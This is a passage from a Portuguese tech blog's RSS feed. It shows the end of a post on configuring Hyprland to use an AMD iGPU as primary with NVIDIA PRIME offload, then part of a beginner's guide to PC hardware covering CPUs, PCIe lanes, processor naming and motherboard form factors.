    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Pronto, pelo ID de PCI sabemos que card1 é NVIDIA e card2 é AMD. Agora precisa configurar meu <code>~/.config/hypr/hyprland.conf</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">....
</span></span><span class="line"><span class="cl"><span class="c1"># NVIDIA environment variables</span>
</span></span><span class="line"><span class="cl"><span class="nv">env</span> <span class="o">=</span> NVD_BACKEND,direct
</span></span><span class="line"><span class="cl"><span class="c1">#env = LIBVA_DRIVER_NAME,nvidia</span>
</span></span><span class="line"><span class="cl"><span class="nv">env</span> <span class="o">=</span> LIBVA_DRIVER_NAME,radeonsi
</span></span><span class="line"><span class="cl"><span class="c1">#env = __GLX_VENDOR_LIBRARY_NAME,nvidia</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Comment these out when using AMD as primary</span>
</span></span><span class="line"><span class="cl"><span class="c1">#env = __NV_PRIME_RENDER_OFFLOAD,1</span>
</span></span><span class="line"><span class="cl"><span class="c1">#env = __VK_LAYER_NV_optimus,NVIDIA_only</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># card1=nvidia, card2=amdgpu (verify with: cat /sys/class/drm/card*/device/uevent)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># AMD first for iGPU primary:</span>
</span></span><span class="line"><span class="cl"><span class="nv">env</span> <span class="o">=</span> AQ_DRM_DEVICES,/dev/dri/card2:/dev/dri/card1
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">env</span> <span class="o">=</span> ELECTRON_OZONE_PLATFORM_HINT,auto</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Eu deixei as configurações específicas de NVIDIA comentadas, nenhuma delas pode estar ativa. Mas a linha mais importante é a do <code>AQ_DRM_DEVICES</code> que lista a ordem pro Hyprland pegar a GPU. Card2/AMD tem que estar primeiro. E pronto, só rebootar e recolocar os cabos HDMI na saída da iGPU.</p>
<p>Com isso eu posso escolher agora dar offload de somente alguns apps da NVIDIA usando Prime. Pra isso primeiro eu criei os script <code>~/.local/bin/nvidia-load.sh</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="cp">#!/bin/bash
</span></span></span><span class="line"><span class="cl"><span class="nv">__NV_PRIME_RENDER_OFFLOAD</span><span class="o">=</span><span class="m">1</span> <span class="nv">__VK_LAYER_NV_optimus</span><span class="o">=</span>NVIDIA_only <span class="nv">__GLX_VENDOR_LIBRARY_NAME</span><span class="o">=</span>nvidia <span class="s2">&#34;</span><span class="nv">$@</span><span class="s2">&#34;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Finalmente, configurei alguns bindings em <code>~/.config/hypr/bindings.conf</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">...
</span></span><span class="line"><span class="cl"><span class="nv">bindd</span> <span class="o">=</span> SUPER SHIFT, B, Blender, exec, ~/.local/bin/nvidia-load.sh blender
</span></span><span class="line"><span class="cl"><span class="nv">bindd</span> <span class="o">=</span> SUPER SHIFT, L, Bambu Studio, exec, ~/.local/bin/nvidia-load.sh bambu-studio
</span></span><span class="line"><span class="cl"><span class="nv">bindd</span> <span class="o">=</span> SUPER SHIFT, P, Blender, exec, ~/.local/bin/nvidia-load.sh plasticity
</span></span><span class="line"><span class="cl">...</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Desta forma, somente os apps Blender, Plasticity e Bambu Studio, que vão primariamente usar a NVIDIA pra renderizar 3D em real time. Todos os outros apps vão abrir na iGPU AMD.</p>
<p>Ferramentas de IA como ComfyUI, Ollama ou LM Studio automaticamente reconhecem a NVIDIA e escolhem lá. E com isso eu também tenho mais VRAM livre pra carregar LLMs.</p>
<p>Se for usar XLibre/X.org, dá pra ficar de boa em NVIDIA. Mas se for usar Wayland, nvidia ainda não é totalmente estável, em particular com Hyprland. Dá menos dor de cabeça colocar uma segunda GPU AMD só pra isso.</p>
]]></content:encoded><category>omarchy</category><category>hardware</category><category>linux</category></item><item><title>Coisas que "Iniciantes" Ignoram sobre PCs</title><link>https://www.akitaonrails.com/2025/09/14/coisas-que-iniciantes-ignoram-sobre-pcs/</link><guid isPermaLink="true">https://www.akitaonrails.com/2025/09/14/coisas-que-iniciantes-ignoram-sobre-pcs/</guid><pubDate>Sun, 14 Sep 2025 01:00:00 -0300</pubDate><description>&lt;p&gt;Faz tempo que eu queria escrever este artigo, mas sempre tive preguiça porque é o tipo de artigo onde algumas partes vão envelhecer logo. Isso porque vou mencionar alguns componentes de 2025, mas daqui 2 ou 5 anos já vai ter mudado, então leiam levando em consideração o ano que estiver lendo, caso esteja no futuro.&lt;/p&gt;
&lt;p&gt;Eu recebo dezenas de perguntas iguais quase todos os dias e em resumo todos se parecem com &lt;em&gt;&amp;ldquo;qual computador recomenda pra mim?&amp;rdquo;&lt;/em&gt; E não existe resposta pra isso. Eu não sei porque alguém pensa que teria uma resposta. Sempre cai no problema de &lt;a href="https://akitaonrails.com/2016/04/20/off-topic-se-voce-precisa-de-validacao-provavelmente-esta-errado/"target="_blank" rel="noopener"&gt;validação&lt;/a&gt; que eu tanto explico.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Faz tempo que eu queria escrever este artigo, mas sempre tive preguiça porque é o tipo de artigo onde algumas partes vão envelhecer logo. Isso porque vou mencionar alguns componentes de 2025, mas daqui 2 ou 5 anos já vai ter mudado, então leiam levando em consideração o ano que estiver lendo, caso esteja no futuro.</p>
<p>Eu recebo dezenas de perguntas iguais quase todos os dias e em resumo todos se parecem com <em>&ldquo;qual computador recomenda pra mim?&rdquo;</em> E não existe resposta pra isso. Eu não sei porque alguém pensa que teria uma resposta. Sempre cai no problema de <a href="https://akitaonrails.com/2016/04/20/off-topic-se-voce-precisa-de-validacao-provavelmente-esta-errado/"target="_blank" rel="noopener">validação</a> que eu tanto explico.</p>
<p>Todo mundo tem que saber todo componente que tem num PC e quais as direrenças e como isso afeta ou não afeta pro seu caso de uso específico. No geral a regra é simples: se tiver dinheiro sobrando, compre o modelo mais caro de todos. Preço é quase sempre proporcional à qualidade do que comprou.</p>
<p>Se não tiver dinheiro sobrando e ainda assim precisa de um PC, compre exatamente o que puder gastar e tire o máximo disso.</p>
<h3>CPUs<span class="hx:absolute hx:-mt-20" id="cpus"></span>
    <a href="#cpus" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>CPUs basicamente você olha clock base e quantidade de cores. Não vai fugir muito disso. Sempre compre o mais recente, se puder.</p>
<p>Clock base é a velocidade que sua CPU vai performar &ldquo;normalmente&rdquo;. Boost clock é nas raras vezes que estiver processando algo pesado, como recompilar a kernel do Linux, ou algum jogo pesado.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250913164642_screenshot-2025-09-13_16-46-15.png" alt="Threads"  loading="lazy" /></p>
<p>Não confundir cores com threads. Cores ou núcleos são componentes físicos na CPU que permitem executar mais de uma thread ao mesmo tempo. Em cima disso existe funcionalidades como Hyperthread, onde otimizamos usando o conceito que raramente todos os cores estão ocupados o tempo todo, então o OS enxerga um core físico como tendo capacidade pra até 2 threads.</p>
<p>Por isso na imagem acima, estamos vendo meu <strong>Ryzen 9 7850x3D</strong>, que tem 16 cores físicos, aparecendo como se tivesse 32 threads. Mas é impossível usar todas as 32 em 100% de capacidade.</p>
<p>Ter vários aplicativos abertos não significa que cada um vai estar ocupando uma core. O OS move processos entre cores conforme estratégia do <strong>Scheduler</strong>. Assista minha mini-série sobre <strong>Concorrência e Paralismo</strong>, <a href="/2019/03/13/akitando-43-concorrencia-e-paralelismo-parte-1-entendendo-back-end-para-iniciantes-parte-3/">Parte 1</a> e <a href="2019/03/20/akitando-44-concorrencia-e-paralelismo-parte-2-entendendo-back-end-para-iniciantes-parte-4/">Parte 2</a>. Se for programador, é obrigatório entender isso.</p>
<p>Outras funcionalides que depende da CPU é suporte de <strong>PCI Express</strong> ou <strong>PCIe</strong>. Esse é o bus, ou barramento, de comunicação entre a CPU e diversos dispositivos de alta velocidade, como a GPU ou SSD/NVME - já vou falar deles. Vamos entender:</p>
<ul>
<li>
<p><strong>PCIe 4.0</strong> foi lançado no meio de <strong>2017</strong>, então evite comprar CPUs anteriores a isso, vai ser muito mais lento. Ela nasce no AMD Ryzen 3000 e chipset X570. Banda de aproximadamente <strong>2GB/s</strong> (~16 GT/s)</p>
</li>
<li>
<p><strong>PCIe 5.0</strong> foi lançado no meio de <strong>2019</strong>, portanto, se puder, prefira CPUs depois desse ano. Ela nasce no Intel Alder Lake e AMD Ryzen 7000. Banda de aproximadamente <strong>4GB/s</strong> (~32 GT/s), sim é o <strong>dobro</strong> de PCIe 4.0.</p>
</li>
</ul>
<p>Agora dois conceitos importantes. Primeiro <strong>PCI Lanes</strong>:</p>
<ul>
<li>Um &ldquo;lane&rdquo; (tipo uma &ldquo;pista&rdquo;) é um par de sinais diferenciais TX/RX, tecnicamente falando.</li>
<li>CPU/chipsets (chipset significa &ldquo;conjunto de chips&rdquo;) expõe um número <strong>fixo</strong> de lanes (varia de 20 a 28, mais que isso gera gargalo no chipset).</li>
<li>PCIe não varia a quantidade de lanes e sim a banda de cada lane.</li>
</ul>
<p>Exemplos:</p>
<ul>
<li>AMD Ryzen 7000 (AM5): 24 PCIe 5.0 lanes do CPU (16 pro GPU, 4 pra NVMe, 4 pro chipset).</li>
<li>Intel Alder Lake/Raptor Lake: 16 PCIe 5.0 lanes pra GPU + 4 PCIe 4.0 pra storage.</li>
</ul>
<p>PCI Lanes são importantes pra GPU e pra NVME. &ldquo;SSDs&rdquo; são outro barramento: SATA, depois falo disso. Se o plano é comprar uma GPU moderna e poderosa, tipo uma AMD Radeon 9070 XT ou NVIDIA RTX 5090, vai precisar de PCIe 5.0 com o máximo de lanes e banda disponível pra elas (16 lanes). Isso afeta também a escolha de placa-mãe.</p>
<p>Muita gente pensa em comprar CPUs de servidor, como Intel Xeon ou AMD EPIC. Cuidado. A idéia é tentar achar no eBay um que já tenha sido descartado mas ainda funciona. A &ldquo;vantagem&rdquo; é que CPUs de servidor costumam ter muito mais cores do que CPUs nível consumidor.</p>
<p>Um Intel Xeon costuma ter <strong>60 cores/120 threads</strong> ou um AMD EPIC costuma ter <strong>96 cores/192 threads</strong>, mesmo modelos velhos como um Xeon Platinum/Gold (era Skylake de 2017) tem de 20 a 28 cores. Um AMD EPIC 7001 de 2017 tem 32 cores. Se conseguir achar usado, barato num eBay, não vale a pena?</p>
<p>Na prática: <strong>NÃO</strong>.</p>
<p>Só pra usos muito específicos. Por exemplo, se for montar um servidor de armazenamento, um NAS, com ZFS, que tira vantagem de múltiplos cores, precisa de <strong>MUITA RAM</strong>, mas a banda pros discos não precisa ser absurdamente grande. Vamos ver as desvantagens:</p>
<ul>
<li>esses CPUs velhos que tem preços considerados &ldquo;acessíveis&rdquo; vão ser de 2017 pra trás, ou seja, <strong>PCIe 3.0</strong>, banda mais lenta por lane.</li>
<li>base clock vai ser baixo. Num CPU médio, fica acima de 2Ghz, num antigo vai ser abaixo de 2Ghz. Um com CPU hoje tem base clock de 4Ghz.</li>
<li>alto TDP (Thermal Design Power). Na prática, vai ser mais lento e ainda assim vai consumir mais energia e dissipar MUITO calor. Ou seja, são altamente ineficientes hoje.</li>
<li>não basta ter a CPU barata, elas precisam de <strong>placas-mãe</strong> específicas com sockets LGA 3647, SP3, SP5. São caras e não são formato ATX, então não cabem em qualquer gabinete.</li>
<li>RAM precisa ser ECC RDIMM/LRDIMM. ECC significa Error Correction Code. São RAMs mais caras que garantem que não vai existir bits corrompidos, por isso são obrigatórios em servidores. Nível consumidor não precisa disso. Nas raras vezes que RAM corromper, vai dar uma tela azul e você só reboota. Por isso são mais baratas também.</li>
<li>Não tem várias funcionalidades comuns em CPUs pra consumidores. Não tem iGPU (GPU integrada), não dá pra fazer nenhum tipo de overclocking, tem suporte mais fraco a AVX 512 (vai ter problemas com video, áudio modernos).</li>
</ul>
<p>De novo, só vale a pena se você sabe exatamente todos os detalhes e tem uma aplicação MUITO específica em mente que tire vantagem desse tipo de CPU e não vai sentir falta do que ele não tem. Se você é amador, nem tente.</p>
<p>Na prática, eu dou preferência a CPUs AMD. A série Ryzen tem seguidamente sido bem eficiente. A nomenclatura de nomes de CPUs é coisa que marketeiro adora criar confusão, porque quanto mais confusão, mais fácil enganar consumidor. Isso vai ser um tema constante neste artigo, prestem atenção.</p>
<p>Depende de cada nova arquitetura, mas em geral:</p>
<p><strong>Nomenclaturas AMD</strong></p>
<p>Formato: Ryzen [3/5/7/9] [####] [sufixo]</p>
<ul>
<li>
<p>Tier (3 / 5 / 7 / 9): performance class.</p>
<ul>
<li>Ryzen 3: entry (4–6 cores).</li>
<li>Ryzen 5: midrange (6–8 cores).</li>
<li>Ryzen 7: high-end (8–12 cores).</li>
<li>Ryzen 9: enthusiast (12–16 cores desktop; até 64 cores no Threadripper/EPYC).</li>
</ul>
</li>
<li>
<p>Primeiro Dígito: geração/arquitetura.</p>
<ul>
<li>1 = 1st gen (2017, Zen),</li>
<li>5 = 5th gen (Zen 3),</li>
<li>7 = 7000 series (Zen 4),</li>
<li>9 = 9000 series (Zen 5).</li>
</ul>
</li>
<li>
<p>Dígitos do Meio: modelo dentro da geração. Maior = mais rápido (ex., 7600 vs 7900).</p>
</li>
<li>
<p>Sufixos:</p>
<ul>
<li>X = higher TDP, higher clocks.</li>
<li>G = integrated GPU.</li>
<li>X3D = 3D V-Cache (bom pra games).</li>
<li>HS / U / HX (mobile) = laptop power targets (U = ultra-low, HS = balanced, HX = high-performance).</li>
</ul>
</li>
</ul>
<p><strong>Nomenclaturas Intel</strong></p>
<ul>
<li>
<p>Formato Antigo (pre-2024): Core i3/i5/i7/i9-#### [sufixo]</p>
<ul>
<li>i3 / i5 / i7 / i9 = entrada → alto nível.</li>
</ul>
</li>
<li>
<p>Dígitos:</p>
<ul>
<li>Primeiro = geração (e.g. i7-8700 = 8th gen).</li>
<li>Resto = SKU dentro da geração (8700 vs 8700K).</li>
</ul>
</li>
<li>
<p>Sufixos:</p>
<ul>
<li>K = desbloqueado (overclockable).</li>
<li>F = sem iGPU.</li>
<li>KF = desbloqueado + sem iGPU.</li>
<li>T = baixa energia.</li>
<li>H / HK = laptop alta-performance.</li>
<li>U / Y = ultra-baixa energia.</li>
</ul>
</li>
<li>
<p>Novo Formato (2024+, Meteor Lake / Arrow Lake):</p>
<ul>
<li>Core Ultra 5 / 7 / 9 (drops “i”).</li>
<li>Mesmos tiers: Ultra 5 = midrange, Ultra 9 = top.</li>
<li>Adiciona sufixos “H/U” pra classe de energia de laptop.</li>
</ul>
</li>
</ul>
<p>Eu tenho uma &ldquo;antiga&rdquo; (ainda muito performática) Ryzen 9 7850X3D que é Zen 4, 16 cores/32 threads, 3D V-Cache que é bom pra jogos. O equivalente mais novo é a <strong>9850X3D</strong>, que é arquitetura mais nova Zen 5 (está pra sair Zen 6).</p>
<p>No mundo notebook, mobile/console/handhelds saiu a linha <strong>Ryzen AI MAX/MAX+</strong> que tem CPU+GPU+NPU integradas na onda de acelerar tarefas de redes neurais, rodar <strong>pequenos</strong> modelos de IA. A Ryzen AI Max+ 395 é Zen 5, integrada com GPU Radeon, até 40 CUs (mais ou menos equivalente da AMD a Nvidia Cuda Cores). A vantagem é ter acesso a mais RAM/VRAM pra carregar modelos mais pesados, mas não vai ser rápido porque CPU desktop ainda é melhor, obviamente. Em notebook você sempre vai estar limitado por solução térmica.</p>
<p>O maior problema de consoles/notebooks/handhelds é que não dá pra fornecer tanta energia (TGP) quanto desktop porque não tem pra onde dissipar tanto calor. Por isso notebook <strong>sempre</strong> vai ser mais limitado do que desktop. Isso dito, se puder pagar, recomendo a Ryzen AI Max, parecem bons chips mesmo.</p>
<p>Se tem dúvidas sobre sua CPU e estiver num Linux, dá pra checar assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">❯ lscpu
</span></span><span class="line"><span class="cl">Architecture:                x86_64
</span></span><span class="line"><span class="cl">  CPU op-mode<span class="o">(</span>s<span class="o">)</span>:            32-bit, 64-bit
</span></span><span class="line"><span class="cl">  Address sizes:             <span class="m">48</span> bits physical, <span class="m">48</span> bits virtual
</span></span><span class="line"><span class="cl">  Byte Order:                Little Endian
</span></span><span class="line"><span class="cl">CPU<span class="o">(</span>s<span class="o">)</span>:                      <span class="m">32</span>
</span></span><span class="line"><span class="cl">  On-line CPU<span class="o">(</span>s<span class="o">)</span> list:       0-31
</span></span><span class="line"><span class="cl">Vendor ID:                   AuthenticAMD
</span></span><span class="line"><span class="cl">  Model name:                AMD Ryzen <span class="m">9</span> 7950X3D 16-Core Processor
</span></span><span class="line"><span class="cl">    CPU family:              <span class="m">25</span>
</span></span><span class="line"><span class="cl">    Model:                   <span class="m">97</span>
</span></span><span class="line"><span class="cl">    Thread<span class="o">(</span>s<span class="o">)</span> per core:      <span class="m">2</span>
</span></span><span class="line"><span class="cl">    Core<span class="o">(</span>s<span class="o">)</span> per socket:      <span class="m">16</span>
</span></span><span class="line"><span class="cl">    Socket<span class="o">(</span>s<span class="o">)</span>:               <span class="m">1</span>
</span></span><span class="line"><span class="cl">    Stepping:                <span class="m">2</span>
</span></span><span class="line"><span class="cl">    Frequency boost:         enabled
</span></span><span class="line"><span class="cl">...</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>De curiosidade, já expliquei isso <a href="https://akitaonrails.com/2021/05/13/akitando-97-so-precisamos-de-640-kb-de-memoria-16-bits-ate-64-bits/"target="_blank" rel="noopener">neste video</a> mas, apesar da arquitetura ser 64-bits, note como endereços de memória são <strong>48 bits</strong>, porque nem existe forma em hardware de conseguir ter tanta RAM pra precisar de 64-bits. Então é mais eficiente economizar transistor e usar um endereço menor.</p>
<p>Também expliquei as nuances de se ter muitos cores e como Cache L3 influencia seu funcionamento no artigo de <a href="https://akitaonrails.com/2023/02/01/akitando-137-games-em-maquina-virtual-com-gpu-passthrough-entendendo-qemu-kvm-libvirt/"target="_blank" rel="noopener">GPU Passthrough</a></p>
<h3>Placas-mãe<span class="hx:absolute hx:-mt-20" id="placas-mãe"></span>
    <a href="#placas-m%c3%a3e" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Esse é outro buraco de coelho desgraçado. Eu mesmo tenho dificuldades de escolher. Cada modelo de CPU tem diversas opções de placa-mãe. Você tem que escolher uma que é compatível com sua CPU (que tem socket que encaixa, na prática) e, de preferência, quando sair a próxima versão de CPU, seja possível fazer upgrade.</p>
<p>Isso depende do ano em que está comprando. Se estiver no começo de um ciclo de arquitetura de CPU, ainda deve vir novas CPUs da mesma arquitetura por alguns anos. Se estiver no fim de um ciclo, arrisca comprar uma CPU e placa-mãe que vai ficar obsoleta no ano que vem. Quando quiser dar upgrade, vai ter que trocar os dois. Isso não tem guia, você tem que procurar o <strong>roadmap</strong> da Intel e AMD pra checar.</p>
<p>Por exemplo, ano que vem a Intel vai lançar a nova arquitetura <a href="https://www.tomshardware.com/pc-components/cpus/intel-confirms-arrow-lake-refresh-set-for-2026-nova-lake-later-that-year-company-admits-there-are-holes-to-fill-on-the-desktop-front-says-it-is-confident-in-the-roadmap"target="_blank" rel="noopener">Nova Lake</a> pra substituir o Arrow Lake. Possivelmente não vai funcionar em placas-mãe atuais, não sei ainda.</p>
<p>Notebooks você não tem esse problema porque não existe upgrade de CPU. Quando sair um novo, se troca o notebook inteiro mesmo.</p>
<p>Placas-mãe você começa escolhendo o <strong>FORMATO</strong>. O mais comum pra gabinetes de torre, aqueles que se vê no Instagram de gamers com RGB pra lá e pra cá costumam ser o tamanho grande, que é <strong>ATX</strong>.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250913172430_Motherboard-Form-Factor-Size-Comparison.webp" alt="moba form-factor"  loading="lazy" /></p>
<p>Mas existem outros formatos. Tem um maior que é &ldquo;Extended ATX&rdquo;, tem um menor que é &ldquo;Micro-ATX&rdquo;, tem menor ainda que é &ldquo;micro-ITX&rdquo;. Eu nunca vi mas parece que ainda tem uma maior de todas que é &ldquo;XL-ATX&rdquo;. Mini-PCs que vem tudo integrado tem placas-mãe proprietárias de cada fabricante, como Minisforum ou Beelink, que vou falar na última seção mais pra baixo.</p>
<p>Quanto menor a placa-mãe, menos funcionalidades vai ter, em resumo costuma ser: menos slots de PCIe (acaba sobrando só uma pra GPU, normalmente). Menos slots de RAM.</p>
<p>Daí vai depender de que gabinete vai escolher, que espaço tem em cima ou embaixo da sua mesa. Na prática, se não entende nada disso, compre ATX. Vai dar menos dor de cabeça. Boas marcas de gabinete costumam ser Lian Li ou Fractal, mas tem dezenas por aí, tem que prestar muita atenção na montagem, encaixes, funcionalidades, etc. Tamanho de radiador de AIO, coolers, tamanho da placa-gráfica, etc.</p>
<p><strong>Mini-ITX</strong> é só pra quem sabe o que está fazendo. Eis um exemplo da Fractal:</p>
<p><a href="https://www.pcgamer.com/best-mini-itx-case/"target="_blank" rel="noopener"><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250913173009_QMNn4zsBtHPm5DRCMibZcE.jpg" alt="fractal mini-itx case"  loading="lazy" /></a>
Tem três problemas principais: não cabe qualquer placa-gráfica. não cabe qualquer fonte (power supply/PSU), precisa de muito mais ventilação/solução térmica (porque não tem espaço pra dissipar o calor dentro).</p>
<p>Alguém vai chegar e comentar <em>&ldquo;ah, só colocar resfriamento com água&rdquo;</em>. Não é tão simples assim.</p>
<p>Resfriamento a água (AIO) precisa de manutenção, usar bons líquidos de resfriamento (não necessariamente água, tem dissipadores melhores hoje). E depende do modelo, porque tem tanque de líquido, tem canos por onde esse líquido passa, portanto <strong>OCUPA MUITO MAIS ESPAÇO</strong>. Em um gabinete ATX funciona, em ITX raramente.</p>
<p>Além disso, veja o tamanho de uma RTX 5090:</p>
<p><a href="https://www.forbes.com/sites/antonyleather/2025/01/07/nvidias-rtx-5090-is-so-small-its-compatible-with-tiny-pc-cases/"target="_blank" rel="noopener"><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250913173748_960x0.jpg" alt="RTX 5090"  loading="lazy" /></a>
Essa é da <strong>MSI</strong>. Mas tem outros integradores como Gigabyte, Gamerock, Zotac, a Founders Edition da própria NVIDIA e outros. Cada um vai ter um formato e tamanho <strong>diferentes</strong>, precisa pesquisar exatamente o modelo, de qual fabricante, com qual gabinete que vai caber. Mesmo em gabinetes ATX, nem sempre cabe na horizontal. Além de ocupar o espaço de 2 slots (série 40) ou 3 slots (série 50) na vertical.</p>
<p>Além disso tem que pensar: você quer uma workstation de trabalho pra coisas como edição de video? Precisa ver se sua placa-mãe já vem com pelo menos Ethernet 2.5 Gbps, idealmente 10 Gbps. A maioria dos populares ainda está com o obsoleto 1 Gbps.</p>
<p>Pra maioria das pessoas, que só tem plano de internet abaixo de 1Gbps, não tem problema, nem vai saturar a banda. Mas quem trabalha com video precisa ter streaming de video PESADO, estou falando acima de <strong>100 GB por hora de video</strong>, múltiplos videos na timeline, tocando ao mesmo tempo. Menos em 2.5 Gbps fica difícil editar em tempo real de playback.</p>
<p>Se acabar comprando uma placa-mãe velha com 1 Gbps de Ethernet, vai precisa comprar uma placa de rede PCIe separada. Só que se estiver usando um formato mini-ITX, <strong>não vai ter espaço</strong> ou nem vai ter slot extra pra plugar isso. Por isso tem que planejar o uso com antecedência.</p>
<p>A minha é velha, é uma <strong>X670E AORUS XTREME</strong>:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250913174531_D_NQ_NP_858736-MLU74688986203_022024-O.webp" alt="X670E"  loading="lazy" /></p>
<p>É formato ATX e tem quase todas as funcionalidades que preciso, incluindo porta Ethernet 2.5Gbps. Mas como eu quis colocar um roteador 10Gbps e também coloquei upgrade de 10Gbps no meu NAS <strong>Synology DS1821+</strong>, resolvi adicionar uma placa PCIe de Ethernet 10Gbps. Como é formato ATX, mesmo com minha RTX 4090 ocupando espaço de 2 slots na vertical, ainda sobra espaço embaixo.</p>
<p>Tem dúvida de qual é sua placa-mãe? Se estiver num Linux tem este comando:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">❯ sudo dmidecode -t baseboard
</span></span><span class="line"><span class="cl"><span class="c1"># dmidecode 3.6</span>
</span></span><span class="line"><span class="cl">Getting SMBIOS data from sysfs.
</span></span><span class="line"><span class="cl">SMBIOS 3.7.0 present.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Handle 0x0002, DMI <span class="nb">type</span> 2, <span class="m">15</span> bytes
</span></span><span class="line"><span class="cl">Base Board Information
</span></span><span class="line"><span class="cl"> Manufacturer: Gigabyte Technology Co., Ltd.
</span></span><span class="line"><span class="cl"> Product Name: X670E AORUS XTREME
</span></span><span class="line"><span class="cl"> Version: x.x
</span></span><span class="line"><span class="cl"> Serial Number: Default string
</span></span><span class="line"><span class="cl"> Asset Tag: Default string
</span></span><span class="line"><span class="cl"> Features:
</span></span><span class="line"><span class="cl">  Board is a hosting board
</span></span><span class="line"><span class="cl">  Board is replaceable
</span></span><span class="line"><span class="cl"> Location In Chassis: Default string
</span></span><span class="line"><span class="cl"> Chassis Handle: 0x0003
